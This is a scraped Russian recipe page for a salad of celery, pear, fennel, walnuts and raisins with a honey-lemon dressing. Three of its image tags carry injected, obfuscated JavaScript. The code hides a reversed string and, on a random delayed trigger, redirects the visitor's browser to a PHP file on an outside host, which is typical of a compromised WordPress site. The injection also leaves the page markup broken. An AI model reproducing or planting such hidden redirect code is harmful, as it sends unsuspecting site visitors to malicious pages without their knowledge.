Простейший и очень полезный салат со свежими овощами, грушей, орехами и медово-лимонной заправкой. То что надо ранней весной!
270 calories
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-prigotovit-s-grushami-5-osennih-receptov-im-14.jpg»>
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-prigotovit-s-grushami-5-osennih-receptov-im-14.jpg»>
Салат с сельдереем, грушей и грецкими орехами
Хрустящий салат, в котором свежий вкус овощей дополняет сладость груши и изюма.
$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to-prigotovit-s-grushami-5-osennih-receptov-im-14.jpg» class=»c2″ alt=»Изображение рецепта Салат с сельдереем, грушей и грецкими орехами» title=»Изображение рецепта Салат с сельдереем, грушей и грецкими орехами»>
Салат с сельдереем, грушей и грецкими орехами
СЛОЖНОСТЬ РЕЦЕПТА:
ВРЕМЯ ПРИГОТОВЛЕНИЯ:
15 минут
КОЛИЧЕСТВО ПОРЦИЙ:
4 порции
КАЛОРИЙНОСТЬ:
270 ккал
Сложность
Время
15 минут
Кол-во порций
4 порции
Калорийность
270 ккал
Ингредиенты
Сельдерей (стебель)
8 шт.
Груша
2 шт.
Фенхель
1 шт.
Орехи (грецкие)
100 г
Сыр (твёрдый тёртый)
½ чашки
Изюм
½ чашки
Лимон (сок)
½ шт.
Масло (оливковое)
100 мл
Уксус (яблочный)
2 ст. л.
Мёд
1 ст. л.
Соль
щепотка
Процесс приготовления
- Смешайте в блендере оливковое масло, яблочный уксус, мёд, соль и сок половины лимона.
- Сельдерей, фенхель и грушу нарежьте маленькими кусочками. Переложите их в большую миску, добавьте грецкие орехи и перемешайте.
- Полейте салат заправкой, посыпьте тёртым сыром и ещё раз перемешайте. Готово!
Статьи по теме
3 рецепта вкуснейших салатов
5 рецептов лёгких и вкусных заправок для салата
Рецепт дня: салат с яблоком и моцареллой
Рецепт дня: овощной салат с медовой заправкой